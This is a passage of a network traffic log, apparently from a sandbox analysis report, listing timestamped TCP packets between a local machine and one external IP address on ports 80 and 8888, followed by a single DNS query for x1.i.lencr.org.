Jan 10, 2025 19:43:51.582086086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582127094 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582252979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582268000 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582282066 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582289934 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582293034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582304955 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582315922 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582318068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582329035 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582334042 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582340002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582353115 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582360983 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582365036 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582376003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582387924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582400084 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582406998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582417965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582428932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582431078 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582442045 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582451105 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582453966 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582464933 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582465887 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582478046 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582489014 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582489967 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582499981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582514048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582520962 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582525015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582537889 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582550049 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582561970 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582562923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582578897 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582592010 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582611084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582617044 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582622051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582631111 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582633972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582648993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582664013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582669020 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582678080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582681894 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582696915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582709074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582720995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582726002 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582732916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582741022 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582746983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582758904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582767963 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582772017 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582808018 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582830906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582842112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582853079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582865000 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582873106 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582880020 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582890987 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582901955 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582904100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582914114 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582916021 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582928896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582941055 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582942963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.582963943 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.583000898 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.583015919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.583029032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.583039045 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.583040953 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.583064079 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.583134890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.583147049 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.583162069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.583173990 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.583187103 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.583188057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.583199024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.583209991 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.583216906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.583228111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.583229065 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.583261013 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.612154007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612174988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612190008 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612205982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612211943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612225056 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612236977 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612252951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612262964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612273932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612287045 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612292051 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.612298012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612310886 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612323999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612337112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612350941 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612353086 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.612363100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.612384081 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.612397909 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.640155077 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640176058 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640192032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640208006 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640221119 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640235901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640252113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640265942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640279055 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640284061 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.640290976 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640366077 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640374899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.640374899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.640377998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640393019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640405893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640418053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640423059 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.640446901 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.640463114 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640477896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640490055 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640512943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640520096 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.640527964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640546083 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.640572071 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.640666008 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640678883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640695095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640708923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.640733004 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.640759945 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.673012972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673053026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673063993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673082113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673100948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673114061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673126936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673140049 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673142910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.673151970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673166037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673187017 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673194885 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.673197985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673211098 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673223972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673227072 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.673235893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673248053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673259020 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.673274994 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673285007 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.673285961 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673299074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673317909 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.673333883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673345089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673356056 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673367023 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.673368931 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673393011 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.673489094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673506975 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673518896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673530102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673543930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673573017 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.673595905 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.673722029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673739910 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673752069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673763037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673775911 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673789024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673800945 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673804045 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.673811913 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673823118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673826933 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.673835993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673847914 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.673850060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.673883915 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674052000 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674067974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674096107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674110889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674122095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674134970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674145937 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674146891 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674160004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674164057 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674171925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674189091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674190044 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674200058 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674211979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674221992 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674223900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674236059 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674245119 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674248934 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674258947 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674261093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674274921 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674285889 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674314976 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674532890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674551010 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674570084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674582005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674593925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674606085 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674606085 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674617052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674621105 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674629927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674640894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674647093 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674652100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674664974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674676895 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674680948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674691916 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674691916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674705982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674716949 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674745083 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674799919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674812078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674823999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674837112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674849033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674864054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674875021 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674875975 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674887896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.674894094 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.674928904 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.701908112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.701932907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.701951027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.701965094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.701976061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.701989889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.702003956 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.702023029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.702038050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.702038050 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.702049017 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.702060938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.702076912 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.702089071 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.702099085 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.702101946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.702116013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.702125072 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.702142000 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.730416059 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730443954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730457067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730469942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730480909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730496883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730510950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730523109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730535984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730547905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730554104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730560064 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730570078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730578899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.730583906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730596066 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730611086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.730772018 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.783525944 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.836862087 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.844719887 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.844743967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.844757080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.844805956 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.936361074 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.941768885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.941791058 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.941803932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.941885948 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.941900969 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.941915989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.941929102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.941942930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.941957951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.941962004 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.941968918 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.941982031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.941984892 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.941993952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.942008018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.942017078 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.942023993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.942049026 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.986635923 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:52.514158010 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:52.714071989 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:53.186984062 CET	49702	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:53.192142010 CET	8888	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:53.192219019 CET	49702	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:53.192456961 CET	49702	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:53.197400093 CET	8888	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:54.011339903 CET	8888	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:54.064755917 CET	49702	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:54.384270906 CET	49702	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:44:00.878694057 CET	61145	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:44:00.878694057 CET	192.168.2.7	1.1.1.1	0xd3b6	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
